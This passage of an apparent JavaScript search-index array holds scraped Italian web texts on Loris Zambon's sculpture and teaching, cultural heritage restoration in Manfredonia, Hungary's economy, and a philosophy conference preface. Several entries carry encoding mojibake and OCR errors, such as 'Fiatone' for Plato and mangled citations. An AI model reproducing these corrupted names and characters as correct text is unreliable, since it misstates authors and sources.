Antonella Buglione & Giovanni De Venuto, Università di Foggia &quot;Indagini archeozoologiche ad Herdonia: lo stato delle ricerche&quot;. Giuliano De Felice, Università di Foggia &quot;Archeologia virtuale a Herdonia&quot; Restauro » Restauro e conservazione dei Beni Culturali Garganonet Piazza delle Rose, 3 71043 Manfredonia (Foggia) Italia   Contattaci     &nbsp;");sQ1[53]=new Array("http://www.vignanotica.com/ricordi.html","Alunni dell'Istituto d'Arte Pietro Sevatico di Padova ","","Home Page Pubblicazioni Le News Contattaci Ricordi Alunni dell'Istituto P.Selvatico Statura Morale di Loris Zambon Home Page &gt; Statura morale di Loris Zambon Statura morale e culturale del maestro Loris Zambon. E' con orgoglio che spendo due parole per il Maestro Loris Zambon, insegnante e artista, il cui valore morale e statura culturale meritano un giusto riconoscimento. Mio insegnante all'Istituto Pietro Selvatico di Padova, mi ha indirizzato assieme ai miei genitori nell'aspro sentiero della vita dandomi quelle indicazioni morali e comportamentali che sono state fondamento per la mia formazione di cittadino prima, e di insegnante dopo. Loris Zambon e Severino Tognoni a Venezia anno 1981 Loris Zambon e Michela Guerra a Venezia anno 1996 Ricordo ancora i suoi insegnamenti, la chiarezza del suo pensiero nel rapportare fra loro arte, etica e politica. Dal suo agire e pensare, ho formato la mia personalità e insostituibile è stato il suo esempio. Ricordo bene, proprio nei giorni immediatamente precedenti la mia partenza come insegnante nel Burundi, in quella che sarebbe diventata la prima scuola statale d'arte del centro Africa, le sue dissertazioni piene di liberalismo pensante e progressista dalle quali traspariva concretezza e rispetto per le persone e per tutte le civiltà. &quot;...la nostra&quot;, diceva, &quot;non è la civiltà dominante, è quella che in un particolare momento storico, viene chiamata a valorizzarne un'altra, portatrice di un concetto di umanità diversa&quot;. &quot;...noi ci prendiamo l'impegno di accompagnare la civiltà africana nello sviluppo tecnico e nella conoscenza razionale dell'estetico&quot;. Nessuna civiltà o cultura è inferiore a un'altra, ha solamente utilizzato il proprio passato in maniera diversa; un gruppo umano che si è evoluto utizzando i propri talenti all'interno di necessità più piccole...&quot;. E ancora...leggo nel suo pensiero di didatta e formatore, ricostruito attraverso gli innumerevoli momenti culturali in classe: se mi fossi trovato ad amministrare la giustizia, in situazioni grandi o piccole, di farlo sempre ascoltando la propria coscienza, facendo sempre riferimento ai valori universali del Diritto dell'Uomo e in particolare a quello che fa dell'Uomo Umanità.&quot; Grazie Loris Restauro » Restauro e conservazione dei Beni Culturali Garganonet Piazza delle Rose, 3 71043 Manfredonia (Foggia) Italia   Contattaci     &nbsp;");sQ1[54]=new Array("http://www.quadrantefuturo.it/","Quadrante futuro - Appunti per capire il mondo","Quadrante Futuro , Appunti per Capire il Mondo Ã¨ un'iniziativa congiunta di Ersel e Centro Einaudi nata con l'intento di fornire una visione a 360Â° sulle problematiche che lâ€™economia globale deve affrontare, con particolare attenzione per quelle di lungo periodo.","Home SEGUICI SU:Â  Â  Â  Â  Â  Â  Â  Â  Â  Siamo tutti molto curiosi ma anche molto impegnati. Un grafico Ã¨ spesso piÃ¹ eloquente di molte parole scritte e la formula â€œpoco testo, molte immaginiâ€ Ã¨ oggi piÃ¹ che compatibile con discorsi seri e accurati. Nasce di qui il progetto Quadrante Futuro, iniziativa congiunta di Ersel e Centro Einaudi, che intende fornire ai navigatori di internet una rotta panoramica costantemente aggiornata, che passa per quattro grandi â€œisoleâ€ (o punti cardinali del Quadrante), denominati Terra, Paesi, Settori e Congiuntura. Nel sito troverete numerose schede, collegate tra loro da link ipertestuali che permettono di personalizzare il viaggio, quasi tavole di un grande e flessibile atlante, economico e non solo, di un mondo divenuto globale. Ciascuna scheda contiene un breve testo, base dâ€™appoggio da cui partire per accedere immediatamente a grafici, immagini ed elaborazioni. Buona navigazione, quindi, nel nostro presente pensando al nostro futuro!Â  Dallâ€™inquinamento a Internet, dalla popolazione alla finanza, una serie di fenomeni naturali ed economico-sociali che toccano tutto il pianeta. Spunti e stimoli per una visione dâ€™insieme. Il commercio mondiale ha reso interdipendenti e posto in concorrenza le principali attivitÃ  economiche. Appunti per esplorare la realtÃ  concreta dellâ€™economia globale. Uno sguardo complessivo alle realtÃ  economiche dei principali Paesi della Terra: crescita, inflazione, risultati elettorali, disoccupazione e quantâ€™altro puÃ² servire per una rapida sintesi. La crisi mondiale si risolverÃ ? Ci sono pericoli di inflazione? Comâ€™Ã¨ la salute del dollaro e dellâ€™euro? La Cina sta cambiando politica? Un tentativo di inquadrare questi e altri problemi sul tappeto. La Cina verso il rinnovo della leadershipmartedÃ¬ 17 gennaio 2012Nell'autunno del 2012, l'anno del Drago secondo il calendario tradizionale cinese, si riunirÃ  a Pechino il 18Â° Congresso del Partito Comunista Cinese (PCC) &gt; continua Il futuro dell'Euro: L'Europa, purtroppo, non Ã¨ un'OCAgiovedÃ¬ 12 gennaio 2012L'Europa aveva le caratteristiche per essere un'OCA quando decise di creare l'euro? Probabilmente no, se si tiene conto che, fin dall'inizio, non era sufficientemente integrata &gt; continua Informazioni legali I Privacy I Requisiti di sistema - Copyright 2010 Centro Einaudi Keywords: Quadrante Fututo, Appunti per capire il mondo, Ersel, Centro Einaudi, paesi, popoli, congiuntura, terra, economia, clima, anomalie climatiche, libertÃ  economica, sviluppo, elezioni, globalizzazione, commercio mondiale, deficit, industria, mercato mondiale, agricoltura, chimica, medicina, ricerca, evoluzione Author: Shorr Kan Web Projecting - www.shorr-kan.com");sQ1[55]=new Array("http://www.quadrantefuturo.it/appunti/paesi/ungheria---un-giovane-capitalismo-gi%C3%A0-in-crisi.aspx","Quadrante futuro - Appunti per capire il mondo","","HomeÂ  &rsaquo;Â  AppuntiÂ  &rsaquo;Â  PaesiÂ  &rsaquo;Â Ungheria - Un giovane capitalismo giÃ  in crisi &lt; Torna indietro             Ungheria - Un giovane capitalismo giÃ  in crisi mercoledÃ¬ 13 febbraio 2008 Sia dal punto di vista economico che politico, per lâ€™Ungheria il 2007 Ã¨ stato un anno dal segno decisamente negativo. Sebbene il rallentamento economico sembri essere in via di superamento, alcuni segnali non consentono di affermare con certezza che il 2008 sarÃ  lâ€™anno dellâ€™attesa ripresa. Situata pressochÃ© al centro del continente europeo ( Figura 1), lâ€™odierna Ungheria Ã¨ il risultato storico del sovrapporsi di diverse influenze: romana, asburgica, balcanica, ottomana, e sovietica. Proprio questo ruolo di â€˜cernieraâ€™ tra oriente, Balcani ed occidente, ha fatto si che lâ€™Ungheria fosse il primo paese appartenente allâ€™URSS a sperimentare forme di liberalizzazione economica, giÃ  a partire dal 1968. Con la fine dellâ€™era comunista, lâ€™Ungheria si Ã¨ quindi distinta dagli altri paesi dellâ€™Europa centro-orientale per una transizione particolarmente â€˜morbidaâ€™, sancita nel 2004 dallâ€™ingresso nella UE. Tuttavia, nel corso dellâ€™ultimo decennio, il paese ha visto erodersi progressivamente questo vantaggio iniziale. In particolare, il 2007 Ã¨ stato lâ€™anno che ha fatto registrare le peggiori performance economiche. Con un tasso di crescita del Pil del 1.7%, lâ€™Ungheria si attesta infatti come lâ€™economia meno dinamica nel quadro dei nuovi entrati nellâ€™UE ( Figura 2). Un tasso di inflazione del 6.8%, la disoccupazione stabile al 7%, un debito pubblico nellâ€™ordine del 70% del PIL, completano un quadro economico non proprio roseo ( Figura 3).Â  Se tale situazione dovesse persistere, date anche le oscillazioni del fiorino ungherese nel corso dellâ€™estate 2007 (in parte legate alla crisi USA), il paese vedrebbe probabilmente allontanarsi la prospettiva di un ingresso nellâ€™area euro entro il 2011. In veritÃ , il rallentamento dellâ€™economia ungherese era ampiamente prevedibile, e puÃ² essere direttamente ricondotto al programma di riforma e risanamento fiscale messo in campo dal governo del primo ministro Ferenc GyurcsÃ¡ny. Riottenuta la fiducia dalle camere nel gennaio 2007 â€“ dopo che una registrazione aveva rivelato che nella passata campagna elettorale il governo mentito in materia economica e le proteste erano culminate in scontri di piazza â€“ il leader del MSZP ha infatti impegnato il paese in un piano di rigore basato sul taglio della spesa pubblica. Tra le altre misure, una discussa riforma della sanitÃ  â€“ con lâ€™introduzione di ticket per servizi che erano sempre stati gratuiti â€“ ha provocato un deciso risentimento nella popolazione. La crisi economica quindi segue ed alimenta la crisi politica. Le difficoltÃ  economiche â€“ comunque relative e probabilmente momentanee â€“ si innestano nel quadro di una piÃ¹ ampia debolezza politica, riflesso della scarsa â€˜qualitÃ  democraticaâ€™ del sistema politico ungherese. Se nessun attore politico (nemmeno la formazione di estrema destra Jobbik, promotrice del discusso movimento xenofobo â€˜Guardia Unghereseâ€™) sembra mettere Â  seriamente in dubbio le procedure di democrazia formale, altri fondamentali elementi per il corretto funzionamento di un sistema democratico, quali lâ€™effettiva separazione dei poteri, la trasparenza degli atti pubblici, lo stato di diritto, la neutralitÃ  dellâ€™apparato burocratico, appaiono decisamente deficitari. La vita politica ungherese Ã¨ infatti caratterizzata dal continuo emergere di casi di corruzione a tutti i livelli, di distorsione di fondi pubblici, speculazioni, abusi di potere. A questi si sono poi aggiunti, nel corso del 2007, alcuni episodi di violenza che hanno visto per protagoniste le forze di polizia e che hanno fortemente colpito lâ€™opinione pubblica. Invitabile per molti vedere in questo intreccio di potere politico, economico e coercitivo i segni di una sostanziale continuitÃ  con il passato regime. La conseguenza di tutto ciÃ² Ã¨ un profondo rifiuto della politica da parte del paese â€“ ed in particolar modo una significativa disaffezione dei giovani, anche ad alti livelli di istruzione â€“ che si traduce in una preoccupante mancanza di fiducia nei confronti delle istituzioni. Se la partecipazione elettorale degli ungheresi si attesta su livelli mediamente alti, in rapporto agli altri paesi dellâ€™area, recenti sondaggi evidenziano come lâ€™intera classe politica venga percepita come fondamentalmente disonesta, prona agli abusi ed alla corruzione ( Figura 4). In tale quadro, i due principali partiti vengono messi sostanzialmente sullo stesso piano: mentre il Partito Socialista Ungherese (MSZP) di Ferenc GyurcsÃ¡ny Ã¨ percepito comeÂ  unâ€™organizzazione politica Â«disonesta, ma di successoÂ», la maggiore forza di opposizione, FIDESZ, Ã¨ vista come Â«aggressiva e dinamicaÂ», ma non degna di maggiore fiducia. In tale quadro, aggravato dalle difficoltÃ  economiche e dallâ€™incertezza generata dai continui rimescolamenti del governo, il paese si avvia verso un referendum â€“ fissato dal Presidente della Repubblica LÃ¡szlÃ³ SÃ³lyom per il prossimo 9 marzo â€“ relativo alle riforme operate dal premier GyurcsÃ¡ny. Nonostante osservatori e agenzie internazionali sembrino evidenziare i segni di una possibile ripresa economica, Ã¨ altamente improbabile che lo sforzo di riforma intrapreso dal governo venga premiato dallâ€™elettorato. Il rischio, piuttosto, Ã¨ quello che accanto ad unâ€™affermazione dellâ€™opposizione â€“ con conseguente, ulteriore indebolimento del governo â€“ tale appuntamento veda imporsi altre logiche, molto piÃ¹ dannose per la salute democratica del paese; se lâ€™astensionismo, il distacco, lâ€™indifferenza sembrano infatti essere le risposte del paese nei confronti della classe politica, questâ€™ultima potrebbe essere a sua volta tentata di abbandonare posizioni finora tutto sommato moderate, per cercare seguito e voti attraverso il ricorso ad appelli populistici, xenofobi o nazionalisti â€“ come giÃ  avvenuto in altri paesi dellâ€™area. Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Enrico Fassi Informazioni legali I Privacy I Requisiti di sistema - Copyright 2010 Centro Einaudi Keywords: Author:");sQ1[56]=new Array("http://www.vignanotica.com/restauro/restaurointelligente.html","Per un restauro intelligente","","Home Page Pubblicazioni Le News Contattaci Restauro Riflessioni per una restauro e conservazione intelligente Home Page &gt; Restauro &#62; Restauro Intelligente Restauro Un restauro che pensa al futuro. Per la conservazione dei &quot;Beni Culturali&quot; di Manfredonia Riflessioni per un restauro e conservazione intelligente &quot;Il restauro come momento di qualificazione del bene culturale&quot;. E' stato universalmente riconosciuto il grandissimo valore sociale di un “bene culturale” nell’accezione più vasta del suo significato quale elemento di conservazione per &quot;una storia futura&quot;; esperienza del passato e espressione di un patrimonio culturale, con valore sociale e di identità culturale proprio della comunità a cui appartiene. Di conservazione e restauro si deve parlare di ogni cosa che per sua peculiarità si può collocare già a prima vista nel settore dei beni culturali, della storia delle civiltà e di quella dell'uomo. Vista laterale della vecchia casa dell'ospitalità San Leonardo (Manfredonia) Enti, amministratori e istituzioni, riferendosi al restauro conservativo, devono in prima istanza cogliere le esigenze locali legate alla realtà museale, alla sua evoluzione, al territorio ed alle dinamiche che l'offerta di fruizione dei beni culturali restaurati offre, onde coglierne immediatamente le linee di sviluppo socio-economico-culturale, ed eventualmente stimolarle. Tradizionalmente il restauro rientra nel &quot;corpus &quot; e nell'ambientazione tipica dei &quot;lavori pubblici&quot; anzi direi nei propri fondamenti. L'inserimento di una programmazione di restauro inteso come riabilitaziuone estetica e funzionale di un bene, deve essere priorità per un Assessorato (quello dei Lavori Pubblici) votato da sempre alla cura di un bene pubblico. La disciplina generale dei lavori pubblici non evidenzia con la necessaria precisione le caratteristiche di intervento peculiari ad ogni tipo di restauro. Un Assessorato attento deve: Avere una figura di riferimento all'interno del proprio Ufficio con conoscenza di cultura giuridica e socioeconomica nel campo dei beni culturali; creare un elenco preferenziale con nominativi di &quot;restauratore di beni culturali&quot; i cui curriculum della specifica competenza tecnico-professionale siano accettati e provati, e nel quale curriculum viene specificata la capacità di creare schede articolate e particolareggiate di valutazione complessiva dell'oggetto dell'intervento, questo per facilitare la collaborazione dei pubblici amministratori in fase di direzione lavori e collaudo; valutare con la dovuta attenzione il problema della musealizzazione dei beni archeologici, della programmazione dei restauri, della sistemazione ambientale delle opere restaurate per una piena fruizione; programmare un censimento delle vestigia culturali, quale patrimonio storico-artistico-ambientale, oggetto programmato di restauro, affiché ne sia certa la salvaguardia e la trasmissione al futuro. E ancora: Procedere alla creazione di un &quot;Capitolato speciale per il lavoro di restauro dei dipinti su tela e per il lavoro di restauro dei dipinti su tavola&quot;; superamento della procedura di aggiudicazione delle commesse che hanno come criterio il prezzo più basso per superfici decorate, stucchi, pitture murali, tele a olio e oggettistica artistica o artigianale a carattere mobile, (necessità fatta rilevare anche dal Consiglio superiore dei lavori pubblici nel parere rilasciato in data 26 ottobre 2001), con un'altra che abbia altre priorità diverse da quelle del risparmio;valutazione in sede di discussione preliminare dei criteri da adottare nella determinazione delle procedure di aggiudicazione (la giusta esigenza di economicità deve essere messa allo stesso livello della qualità: un restauro eseguito male, penalizza le professionalità degli operatori, incide sulla qualità del restauro e deresponsabilizza i pubblici amministratori che possono addossare alla esiguità dei fondi e all'eccessivo ribasso dell'offerta, il basso profilo qualitativo dell'intervento. Non si transige sulla buona conservazione di un &quot;bene culturale&quot; legata strettamente alla qualità dei materiali di restauro, alla esperienza degli operatori e alla tecnica operativa! Accogliere la proposta fatta negli ambienti del restauro di opere mobili, di spostare i riferimenti riguardanti l'appalto, da quello dei lavori pubblici alla tipologia dell'appalto di servizi, che per suo iter naturale ha come coefficenti di rapporto, il tempo di esecuzione e i materiali impiegati alla fornitura, e l'intellettualità progettuale, (naturale dote del restauratore). Con queste precisazioni dettate da senso pratico, vogliamo ribadire che gli interventi di restauro specialistico di beni culturali, devono essere attentamente studiati e regolamentati da apposite norme o prassi delle locali amministrazioni, dettate anche dal buon senso che eviti che beni particolarissimi, culturalmente preziosi, siano irreparabilmente danneggiati da scarsa professionalità. In ultima istanza e in particolare, invitiamo l'Amministrazione di Manfredonia a: progettare il recupero e il restauro di tutte le porte e gli ingressi con particolare valore architettonico di Corso Manfredi; programmare il censimento completo delle immagini sacre presenti sul territorio; progettare un sistema museale articolato per tutte le chiese e cappelle presenti nel territorio di Manfredonia. realizzazione di una mostra iconografica dedicata a Santa Maria di Siponto. creazione di un archivio delle musiche e dei documenti legati alla storia del Carnevale di Manfredonia e in generale alla musica tradizionale del Gargano. Restauri documentati » Il Casale di Sant'Egidio » La Chiesa di Santa Lucia » Tele del &quot;700&quot; restaurate » Palazzo dei Celestini Particolare di tabellone didattico al museo di Manfredonia Garganonet Piazza delle Rose, 3 71043 Manfredonia (Foggia) Italia   Contattaci     &nbsp;");sQ1[57]=new Array("http://www.vignanotica.com/loriszambon.html","Loris Zambon Scultore - Insegnante e Artista","","Home Page Pubblicazioni Le News Contattaci Ricordi Ex alunni dell'Istituto P.Selvatico Home Page &#62; Loris Zambon Loris Zambon Scultore e Artista Nato a Venezia nel 1934, dove vive e lavora a Sestriere di Dorsoduro 3289. Ha studiato e si è diplomato all'Istituto d'Arte e all'Accademia di Belle Arti di Venezia con Alberto Viani. Ha insegnato negli Istituti d'Arte di Udine, Padova e Venezia e al Liceo artistico di Venezia. Ha tenuto lezioni di tecniche della scultura all'UIA (Università Internazionale dell'Arte) di Venezia. Ha partecipato a esposizioni nazionali e estere, personali e collettive, ricevendo riconoscimenti da critici e pubblico per il grande valore di ricerca formale che esprime con le sue opere. Tra i premi più significativi ricordiamo: I° Premio per la scultura del Comune di Venezia alla 53º Mostra Collettiva Bevilacqua la Masa di Venezia negli anni 1965 e 1966; Premio del Ministero per il Turismo e lo Spettacolo al III° Concorso Nazionale di scultura &quot;Francesca da Rimini&quot;, nel 1968 Premio dell'Amministrazione Provinciale di Forlì al IV° Concorso Nazionale di Scultura &quot;Francesca da Rimini&quot;, nel 1968 Ancora nel 1968 riceve il Premio Speciale, medaglia d'oro, alla 46º Fiera Internazionale di Padova. Il Maestro Loris Zambon ha continuato ad essere presente nell'insegnamento e a mostre su invito. Le sue opere sono esposte in permanenza in alcune gallerie veneziane  Statura morale dell'isegnante e artista Loris Zambon  Opere e pensiero Alcune sculture. Titolo: &quot;Processo Cariocinetico&quot; Materia: Sasso e Bronzo Misure: cm. 30 x 14 x 13 (pezzo unico) L'Artista veneziano, da oltre trent'anni, va perseguendo una sua ricerca che affonda nelle condizioni primarie della natura. All'inizio l'interesse andava alle tensioni della forma, cioè ai nodi strutturali della materia; poi si è aperto sempre più al mistero della germinazione. Questa materia era ed è ancora allo stato minerale: un sasso con la sua forma naturale prodotta dalle acque e dal vento nel corso di milioni di anni.  Titolo: &quot;Germinazione&quot; anno 1989 Materia: Sasso e Bronzo dorato Misure: cm. 18 x 17 x 9 (pezzo unico) Il sasso si è spaccato e dalla fenditura sono emerse gemme di altro tipo, come gocce di rugiada, lamine sfogliate o raggi di luce. La struttura delle sue sculture è solida, massiccia, corrispondente ad una forza che nasce dall'operato lunghissimo della natura. Le varianti, all'interno o sulla superficie, diversificano e instaurano la dialettica degli opposti. Si scontrano il sasso e il bronzo, l'opaco e il lucido, la scorza e il gheriglio, il maschile e il femminile, il giorno e la notte. Esse pulsano, vibrano, respirano. Sono organismi viventi. Nella continua ricerca della contrapposizione formale, Loris Zambon trova compimento nella forma pura, derivata da linee di genesi che la sua fantasia trasforma in masse complesse dal perimetro e dagli anfratti interni tanto simili al crescere delle vasie forme della natura.  Titolo: &quot;Attesa&quot; anno 1989 Materia: Sasso e Bronzo dorato Misure: cm. 18 x 17 x 9 (pezzo unico) Come nel ripetersi nella casualità della procreazione che genera forme sempre complesse, così Loris sceglie di elaborare il casuale dandogli una razionalità concettuale estremamente ricca di anelito vitale. Sculture piccole e articolate hanno generato dopo lunga e travagliata riflessione, a soluzioni scultoree di dimensioni rilevanti. Nessuna opera viene riprodotta, gli esemplari sono sempre unici, (la copia e nel modello di ridotte dimensione, destinato alla progettazione della scultura che sia in bronzo, in pietra, tela o legno) poiché la riproduzione dello stesso elemento creerebbe disorientamento al percorso pensante dell'artista che lo ha generato: ricercare continuamente no riprodurre senza creatività. Restauro » Restauro e conservazione dei Beni Culturali Contatto Loris Zambon Campo S. Bernardo, 3 30141 Venezia (VE) Italia tel: (+39) 041 739505  Garganonet Piazza delle Rose, 3 71043 Manfredonia (Foggia) Italia   Contattaci     &nbsp;");sQ1[58]=new Array("http://www.vignanotica.com/europa_e_altro.html","II Convegno sul tema &quot;L'Europa e l'altro&quot; 2003","","Home Page Pubblicazioni Le News Contattaci Pubblicazioni Pubblicazioni 1 Pubblicazioni 2 Pubblicazioni 3 L'Europa e l'altro Le Vie e la Memoria dei Padri Voci da Carlantino Manfredonia la Storia e i suoi Autori Home Page &gt; Pubblicazioni &#62; Pubblicazioni 3 &#62; L'Europa e l'altro Pubblicazioni II Convegno sul tema &quot;L'EUROPA E L'ALTRO&quot; A cura di Domenico di lasio CONSORZIO PER L'UNIVERSITA' DI CAPITANATA 2003 Prefazione II Convegno sul tema &quot;L'Europa e l'altro&quot;, di cui qui pubblichiamo le relazioni pervenute (non tutte, purtroppo!), si è articolato in tre sezioni distinte - politica, pedagogica e filosofica -, attivate nei giorni 3-6 ottobre 2001 a Foggia, Manfredonia e Lucera, allo scopo di approfondire la problematica in questione e fecalizzarla da tre angolazioni distinte. Copertina Atti del Convegno L'Europa e l'Altro La successione delle relazioni nel volume segue il criterio alfabetico, all'interno delle tre sezioni succitate. Il tema era stato pensato dal direttivo foggiano della Società Filosofica Italiana (con la presenza e il contributo di Giuseppe Normanno, che ci ha definitivamente lasciato poco prima della realizzazione del Convegno) prima della catastrofe, del tutto imprevedibile, dell' 11 settembre 2001 a New York, prima dell'introduzione, prevista nei minimi dettagli, della moneta comune europea e all'interno di un contesto storico che vedeva e vede sempre più forte e insistente la pressione migratoria alle porte dell'Europa. In tali condizioni non ci è sembrato inutile riflettere collettivamente su tale problema, nella prospettiva, ambiziosa per la verità, di intercettare punti fermi e comuni di orientamento rispetto alla questione cruciale di un rapporto con i popoli extraeuropei che in qualche modo potesse contenere tracce visibili di quello che poi è senza dubbio il tratto distintivo privilegiato dell'umanità: il dialogo, la comunicazione simmetrica, faccia a faccia. In particolare il Convegno ha voluto indagare i contributi della filosofia, della pedagogia e della politica europee alla questione dell'altro, nella loro storia e nei loro dibattiti remoti e recenti. Il pensiero filosofico nell'arco della sua storia ha fatto sempre registrare, almeno nei suoi momenti più alti, un'eccedenza teorica rispetto al tempo storico in cui nasce tale da poter essere recuperata ancora oggi e proposta come linea di pensiero alternativo e orientamento per la soluzione dei problemi odierni. Sin dall'antichità classica, ad esempio, Fiatone, rispetto alla questione dell'altro, travalica il pensiero dominante del tempo che vedeva gli altri popoli vicini e lontani appunto come tali, &quot;altri&quot;, barbari, stranieri, contro cui era legittimo configgere e scatenare guerre di ogni tipo. Gli altri popoli confinanti o meno sono sì barbari, cioè &quot;balbuzienti&quot; che non riescono a parlare la lingua greca, ma essi godono delle stesse forme di costituzioni politiche, di religiosità e di educazione dei Greci. Ne La Repubblica Fiatone, parlando delle quattro forme di costituzioni ( la cretese, l'oligarchica, la democrazia e la &quot;violenta tirannide&quot;), rileva che nella realtà storica, più che queste forme tipiche, esistono le cosiddette forme intermedie che &quot;si potrebbero trovare non meno numerose presso i barbari che presso gli Elleni&quot; (Resp., Vili, 544d3). E nelle Leggi, discutendo delle origini dello Stato e delle costituzioni in esso incardinate, si parla di una forma peculiare di costituzione, il &quot;patriarcato&quot;, che &quot;c'è anche ora in molti luoghi, sia presso i Greci che i barbari &quot; (Leg., Ili, 680b3). Una tale costituzione è la condizione di uomini sì primitivi, ma semplici, che vivono, dopo la catastrofe del diluvio universale, in una società che non conosce divari di ricchezza e povertà, né guerre e ingiustizie: &quot;nella società dove non sia presente ricchezza né povertà necessariamente i costumi, direi, saranno nobilissimi: infatti non sorge violenza né ingiustizia, rivalità ed invidie non possono nascere&quot; (Leg., 679b7). E, rispetto alle usanze e credenze religiose, sempre nelle Leggi si annota che &quot;al sorgere e al tramontare del sole e della luna tutti i Greci e i barbari si prosternano e si inginocchiano sia nei giorni in cui sono preda di ogni sorta di sventure sia nei giorni di fortuna&quot; (Leg., X, 887e4). Se ci spostiamo in avanti nel tempo, all'alba del mondo moderno, e procediamo ad un'analisi comparativa con passaggi di una lettera (4 marzo 1493) di Cristoforo Colombo al Ministro delle Finanze della Corona di Aragona, il tono cambia completamente: i nuovi popoli scoperti, gli Indios, agli occhi di Colombo appaiono più animali che uomini, privi come gli animali di qualsiasi organizzazione politica:&quot;inviai due uomini -scrive il navigatore genovese all'indomani della sua scoperta- nelle terre, per sapere, se vi fosse un rè, o grandi città. Andarono per tre giorni, e scontrarono una infinità di piccole abitazioni con sterminate genti, ma senza governo [c.vo nostro]&quot;. E, ancora, in una lettera successiva del 14 marzo 1493 possiamo leggere:&quot;Imperocché oltre la costa occidentale, in faccia alla quale corsi le suddette 322 miglia, vi sono quelle di due altre provincie non ancora esplorate, una delle quali gli Indiani chiamano Anam, i cui abitanti nascono colla coda [c.vo nostro]&quot;. L'atteggiamento di Cristoforo Colombo, come si vede, rispetto alla stessa questione è diametralmente opposto a quello di Fiatone: se nel primo gli altri popoli sono sussunti sotto la categoria di bestie e come tali hanno la coda e sono &quot;senza governo&quot;, non possono cioè vivere come gli Europei all'interno di un contesto statale, nel secondo invece gli altri popoli sono assimilati agli stessi Greci e hanno, come i Greci, le stesse forme di organizzazione politica, di educazione e di credenze religiose. L'atteggiamento di Colombo divenne, come sappiamo, dominante nel mondo moderno e si incardinò essenzialmente nella pratica colonialistica degli Europei, in primo luogo portoghesi e spagnoli, che letteralmente si avventarono sulle nuove terre per denudarle delle loro ricchezze e deprivarle dei loro abitanti, con guerre di conquiste e di sterminio senza precedenti. Tzvetan Todorov a tal proposito osserva che &quot;il XVI secolo avrà visto compiersi il più grande genocidio della storia dell'umanità&quot; (La conquète de l'Amérique. La question de l'autre,1982). Dislocati gli altri popoli ai livelli delle bestie, contro di loro si legittima ogni sorta di violenza che rimane impunita, perché non esiste nei codici penali una norma che preveda una condanna per chi, ad esempio, uccide un gatto o un cane. La sensibilità, la cura per gli animali e il rispetto per le loro vite si è solo recentemente sviluppata e, tuttavia, anche in tal caso non è ravvisata colpa alcuna per l'eliminazione o il maltrattamento di un animale. L'eccedenza teorica del pensiero filosofico per quanto riguarda la questione dell' altro si presenta, oltre che nell' antichità classica con Fiatone (e altri che qui per brevità non citiamo), anche nel mondo moderno con Montaigne, Voltaire, Rousseau, d'Holbach, Kant e altri ancora. Kant, ad esempio, commentando il &quot;terzo articolo definitivo per la pace perpetua&quot; (1795) cioè il &quot;diritto cosmopolitico&quot; (Weltburgerrecht), parla di una sorta di cittadinanza terrestre comune a tutti gli uomini, i quali sono destinati ad incontrarsi e coesistere necessariamente poiché calpestano una superficie, quella terrestre, che è sferica per natura. In particolare si tratta di un &quot;diritto di visita (Besuchsrecht), che spetta a tutti gli uomini, cioè di offrirsi alla società in base al diritto comune al possesso della superficie della terra, sulla quale, come superficie sferica, essi non possono disperdersi all'infinito, ma devono alla fine tollerarsi (sich dulden) reciprocamente&quot; o, il che è lo stesso, di una &quot;universale ospitalità&quot; concepitata come &quot;diritto di uno straniero (Fremdlings), che arriva sul suolo di un altro Stato, di non essere da questo trattato come nemico&quot;. Come si vede, l'atteggiamento di filosofi come Fiatone e Kant è sostanzialmente diverso dall'atteggiamento di conquistatori antichi o moderni, come Alessandro Magno o Cristoforo Colombo. Le guerre di conquista, antipersiane o antindiane che siano state, non hanno mai colto l'interesse dei maggiori filosofi che, al contrario, hanno rivolto la loro riflessione alla possibilità di convivenze universali e costruzione di società equilibrate prive di ingiustizie, guerre e conflitti, attraversate in profondità da valori eterni quali la pace perpetua. È sempre rinvenibile uno scarto consistente tra il pensiero filosofico, nelle sue forme più vere, e il pensiero politico, sepcialmente se quest'ultimo è dichiaratamente orientato al dispotismo, alla conquista e alla legittimazione dello sterminio, come nei citati conquistatori Alessandro Magno e Cristoforo Colombo. Si potrebbe obiettare che è stato un filosofo, Aristotele, l'educatore di Alessandro Magno e che il pensiero di Colombo sugli Indios è stato pur condiviso da parecchi filosofi contemporanei: questo è vero, come è vero, d'altra parte, che Aristotele si dissocia dal suo discepolo nel momento in cui emerge la volontà dispotica di quest'ultimo e che contro il pensiero di Colombo sugli Indios si schiera una vasta gamma di pensatori di alto livello quali Montaigne e Kant. Potremmo ancora addurre la testimonianza del filosofo Seneca che, precettore di Nerone, cerca alla fine di svincolarsi dalle grinfie feroci del suo stesso allievo di cui però rimane vittima sacrificale. Lo scarto tragicamente rimane, ineludibile l'eccedenza teorica del pensiero filosofico sull'ideologia dominante. Ed è proprio tale eccedenza a costituire il principale contributo del pensiero filosofico alla questione dell'altro ieri ed oggi. Il contributo della pedagogia si innesta sul tronco teorico di questa eccedenza. La categoria di intercultura è tipicamente pedagogica, sgorga dalla questione dell'altro e si inquadra nei contesti educativi, scuola e università, luoghi privilegiati delle relazioni culturali e sociali fra diversi di qualsiasi natura. Le società odierne diventano multietniche o multiculturali per la presenza sempre più massiccia sui territori nazionali di &quot;stranieri&quot;, esattamente come prevedeva Kant: la superficie terrestre è sferica e gli esseri umani calpestandola devono necessariamente incontrarsi. Ma come coesistere e convivere, come transitare dal multiculturalismo puro e semplice all'interculturalismo? Questo è il nocciolo del problema a cui la pedagogia interculturale cerca di dare una risposta. L'intercultura implica una relazione umana, culturale, di crescita reciproca e ciò è possibile, sì anche immediatamente nella realtà storica così come si presenta, ma in particolare nei contesti educativi dove si elaborano progetti in senso interculturale per il rafforzamento di quei legami che nella realtà sono deboli o inesistenti. La realtà storica immediata è più melting pot, miscela esplosiva di diversi, luogo privilegiato di conflitti e scontri a volte anche molto feroci e distruttivi; le realtà educative, invece, scuola e università, sono luoghi di incontro, di dialogo, di ricerca, di studio, luoghi di convergenza di diversi, che parlano delle loro esperienze, tradizioni, costumi, e che così si arricchiscono e crescono insieme. La realtà storica attuale è profondamente segnata dalla compresenza di culture diverse su uno stesso territorio al punto tale che alcuni autori, come Jean-Loup Amselle, parlano di meticciato o mescolanza delle culture. Tale mescolanza però, anziché generare relazioni simmetriche e confronti costruttivi, oggi sviluppa perlopiù &quot;irrigidimento delle identità e &quot;rida vigore alle nozioni di origine, razza e d'innesto interrazziale&quot; &quot; {Amselle, Logiche meticce, Bollati Borignheri, Torino 